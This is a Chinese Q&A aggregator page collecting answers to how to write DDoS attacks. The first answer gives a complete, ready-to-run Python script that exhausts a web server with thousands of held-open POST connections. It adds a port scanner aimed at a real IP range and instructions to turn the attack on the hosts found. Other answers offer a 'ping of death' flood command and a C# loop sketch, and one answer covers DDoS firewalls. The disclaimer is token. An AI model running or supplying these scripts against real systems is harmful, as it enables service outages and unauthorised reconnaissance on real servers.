當前位置:首頁 » 編程語言 » c語言編寫ddos攻擊
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

c語言編寫ddos攻擊

發布時間: 2022-03-31 21:13:18

1. 如何進行DDOS攻擊怎麼做

會Python嗎?下一個Python3.7.0-3.7.3,把代碼復制下,粘貼即可

代碼:


import socket

import time

import threading

#Pressure Test,ddos tool


#---------------------------

MAX_CONN=20000

PORT=80

HOST=".com"#在雙引號里輸入對方IP或域名,要保證他聯網了或開機了,這里拿網路做示範(別運行!不然後果自負!!)

PAGE="/index.php"

#---------------------------


buf=("POST %s HTTP/1.1 "

"Host: %s "

"Content-Length: 10000000 "

"Cookie: dklkt_dos_test "

" " % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf.encode())

print ("Send buf OK!,conn=%d "%i)

socks.append(s)

except Exception as ex:

print ("Could not connect to server or send error:%s"%ex)

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f".encode())

#print "send OK!"

except Exception as ex:

print ("Send Exception:%s "%ex)

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()


如果你要攻擊網站,以上代碼雖然可行,但是,攻擊效果很不好。

所以,最好用Windows里的PING進行檢測

操作:

在Windows搜索欄里輸入:cmd

輸入:

ping -n 10 -l 1 .com

//這里拿網路做示範,別真打網路!

那麼,就會發現,系統反映了:

正在 Ping .com [39.156.69.79] 具有 1 位元組的數據:

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=26ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=29ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=26ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52

來自 39.156.69.79 的回復: 位元組=1 時間=27ms TTL=52


39.156.69.79 的 Ping 統計信息:

數據包: 已發送 = 10,已接收 = 10,丟失 = 0 (0% 丟失),

往返行程的估計時間(以毫秒為單位):

最短 = 26ms,最長 = 29ms,平均 = 27ms

說明,網路的伺服器有一個主伺服器是39.156.69.79

那麼,就來查找網路的所有伺服器吧!

輸入以下代碼:


#絕大多數成功的網路攻擊都是以埠掃描開始的,在網路安全和黑客領域,埠掃描是經常用到的技術,可以探測指定主機上是否

#開放了指定埠,進一步判斷主機是否運行了某些重要的網路服務,最終判斷是否存在潛在的安全漏洞,從一定意義上將也屬於系統運維的范疇


#埠掃描器程序:模擬埠掃描器的工作原理,並採用多進程技術提高掃描速度

import socket

import sys

import multiprocessing

import time as t


def ports(ports_serve):

#獲取常用埠對應的服務名稱

for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

try:

ports_serve[port]=socket.getservbyport(port)

except socket.error:

pass


def ports_scan(host,ports_service):

ports_open=[]

try:

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#超時時間的不同會影響掃描結果的精確度

socket.timeout(0.01)

except socket.error:

print('socket creation error')

sys.exit()

for port in ports_service:

try:

#嘗試連接指定埠

sock.connect((host,port))

#記錄打開的埠

ports_open.append(port)

sock.close()

except socket.error:

pass

return ports_open


if __name__ == '__main__':

m=multiprocessing.Manager()

ports_service=dict()

results=dict()

ports(ports_service)

#創建進程池,允許最多8個進程同時運行

pool = multiprocessing.Pool(processes=8)

net = '39.156.69.'#後面的IP少一個,因為要掃描這段區域內的IP,從而進行攻擊

for host_number in map(str,range(8,10)):

host = net + host_number

#創建一個新進程,同時記錄其運行結果

results[host] = pool.apply_async(ports_scan,(host,ports_service))

print('starting '+host+'...')

#關閉進程池,close()必須在join()之前調用

pool.close()

#等待進程池中的進程全部執行結束

pool.join()


#列印輸出結果

for host in results:

print('='*30)

print(host,'.'*10)

for port in results[host].get():

print(port,':',ports_service[port])



你會發現,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//並不是指網路只有這兩個伺服器!而是我們目前只能掃描到兩個!

接著,運行DDoS攻擊程序,把IP分別改為39.156.69.8和39.156.69.9

就可以實現DDoS攻擊了。

//註:請不要用於違法用途,並且不要隨意進行攻擊。如想使用,可攻擊虛擬機,但不要攻擊外網IP和域名!!!

2. 用c#如何編寫一個ddos軟體防火牆,能防ddos和cc攻擊

你自己編寫不太現實而且效果不大.
因為DDOS攻擊 通過普通電腦軟體是處理不來的.

一般需要通過硬體防火牆,把過濾和防禦的規則寫進硬體的驅動力,這樣過濾的速度是 普通機器的上百倍或者上千倍.有需要可以HI我

3. 寫一個批處理DDOS攻擊代碼,保存bat,進行攻擊

給你個最簡單的,讓對方內存供不應求,使其癱瘓。代碼如下:
ping -l 65500 目標ip -t
這么簡單?被嚇著了吧?這叫「死亡之ping",人家電腦按了補丁就不行了。至於其他復雜的,你還是別多問了,不作死就不會死,具體請看我(被朋友報復整死了)

4. 模擬ddos攻擊

沒有很多網路電腦,你模擬不了的,

5. 各位哥哥姐姐們,我正在學c語言,對學習DOS攻擊和ddos攻擊有幫助嗎

說實話,毫無幫助,c語言只是一門編程語言,MS DOS是微軟的控制台語言,兩者根本沒有什麼關系,不過可以在記事本上編好程序,後綴名改為.cpp,通過dos進行編譯,如果你想學習dos攻擊的話,我建議你借幾本伺服器攻防的書來看

6. 如何用 c# 實現簡單的 DDOS 攻擊

DDOS???你確定是分布式的?你只是想實現DOS吧


while(true){
//運行外部程序cmd.exe/cpingxxx就行了
}


記得放在另一個線程 不然會卡死的